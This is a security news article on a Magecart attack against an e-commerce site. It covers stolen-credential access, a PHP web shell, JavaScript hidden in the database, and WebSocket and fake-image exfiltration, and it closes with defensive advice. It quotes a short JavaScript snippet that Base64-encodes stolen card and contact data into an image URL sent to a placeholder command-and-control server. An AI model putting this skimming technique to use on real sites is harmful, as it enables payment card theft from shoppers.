Friday, May 9, 2025
HomeCyber AttackMagecart Launches New Attack Using Malicious JavaScript to Steal Credit Card Data

Magecart Launches New Attack Using Malicious JavaScript to Steal Credit Card Data

Published on

SIEM as a Service

Follow Us on Google News

The notorious Magecart group has been identified by the Yarix Incident Response Team as the culprits behind a recent credit card data theft operation on an e-commerce platform.

This latest assault on consumer data showcases the group’s evolving tactics to infiltrate and compromise online payment systems.

Malicious JavaScript
Persistent access

Initial Access and Web Shell Deployment

The attack began with Magecart utilising stolen credentials, likely harvested through an infostealer malware, to gain initial access to the website’s backend.

- Advertisement - Google News

Once access was secured, the attackers uploaded a malicious PHP script to the server, which functioned as a web shell.

This web shell, based on the structure of the open-source P.A.S. Fork v. 1.4, provided them with complete remote control over the server, enabling persistent access and the ability to execute commands without regular user interaction.

Further investigation revealed that Magecart had infiltrated the site’s database, polluting it with hidden, malicious JavaScript code.

Malicious JavaScript
Database pollution

This code, disguised within a seemingly innocuous <img> tag, was designed to activate whenever certain pages were loaded, performing background operations like data exfiltration without user knowledge.

The script was embedded in a way that ensured its execution even if the initial access method was compromised, showcasing a deep level of persistence in their attack strategy.

Exfiltration Methods: WebSocket Connection and Fake Images

The data exfiltration was ingeniously executed through two primary methods:

  1. WebSocket Connection: A function named “createWebSocket” was employed, establishing a WebSocket connection with the attackers’ command-and-control (C&C) server. This connection allowed for real-time, bidirectional communication for sending stolen data in a manner that was difficult to detect due to the protocol’s encryption and the dynamic nature of the connection parameters. JavaScriptfunction createWebSocket() { // ... WebSocket setup and data exchange logic }
  2. Fake Images: Additionally, a technique known as “fake image” exfiltration was used where user data, including email, addresses, and credit card details, were encoded into URLs and set as the source of image objects. These objects would then make requests to the attacker’s server, appearing as legitimate image downloads but in reality, serving as covert data channels. JavaScriptfunction createImage(dataToImg) { var objImage = new Image(); objImage.src = "//C&C server URL//?data=" + window.btoa(dataToImg); }

Magecart’s latest attack highlights the critical need for enhanced security measures in the face of evolving cyber threats.

Recommendations include strengthening password policies, implementing two-factor authentication, and ensuring all software is up-to-date.

Moreover, regular code audits, employing advanced XDR (Extended Detection and Response) systems, and installing web application firewalls are advised to detect and mitigate such attacks promptly.

This incident serves as a stark reminder of the persistent and adaptive nature of cybercriminals, urging a proactive approach to cybersecurity in the e-commerce sector.

Find this News Interesting! Follow us on Google NewsLinkedIn, & X to Get Instant Updates!

Aman Mishra
Aman Mishra
Aman Mishra is a Security and privacy Reporter covering various data breach, cyber crime, malware, & vulnerability.

Latest articles

Critical Vulnerability in Ubiquiti UniFi Protect Camera Allows Remote Code Execution by Attackers

Critical security vulnerabilities in Ubiquiti’s UniFi Protect surveillance ecosystem-one rated the maximum severity score...

IXON VPN Client Vulnerability Allows Privilege Escalation for Attackers

A critical security vulnerability in IXON’s widely used VPN client has exposed Windows, Linux,...

Cisco IOS Software SISF Vulnerability Could Enable Attackers to Launch DoS Attacks

Cisco has released security updates addressing a critical vulnerability in the Switch Integrated Security...

Seamless AI Communication: Microsoft Azure Adopts Google’s A2A Protocol

Microsoft has announced its support for the Agent2Agent (A2A) protocol, an open standard developed...

Resilience at Scale

Why Application Security is Non-Negotiable

The resilience of your digital infrastructure directly impacts your ability to scale. And yet, application security remains a critical weak link for most organizations.

Application Security is no longer just a defensive play—it’s the cornerstone of cyber resilience and sustainable growth. In this webinar, Karthik Krishnamoorthy (CTO of Indusface) and Phani Deepak Akella (VP of Marketing – Indusface), will share how AI-powered application security can help organizations build resilience by

Discussion points


Protecting at internet scale using AI and behavioral-based DDoS & bot mitigation.
Autonomously discovering external assets and remediating vulnerabilities within 72 hours, enabling secure, confident scaling.
Ensuring 100% application availability through platforms architected for failure resilience.
Eliminating silos with real-time correlation between attack surface and active threats for rapid, accurate mitigation

More like this

Critical Vulnerability in Ubiquiti UniFi Protect Camera Allows Remote Code Execution by Attackers

Critical security vulnerabilities in Ubiquiti’s UniFi Protect surveillance ecosystem-one rated the maximum severity score...

IXON VPN Client Vulnerability Allows Privilege Escalation for Attackers

A critical security vulnerability in IXON’s widely used VPN client has exposed Windows, Linux,...

Cisco IOS Software SISF Vulnerability Could Enable Attackers to Launch DoS Attacks

Cisco has released security updates addressing a critical vulnerability in the Switch Integrated Security...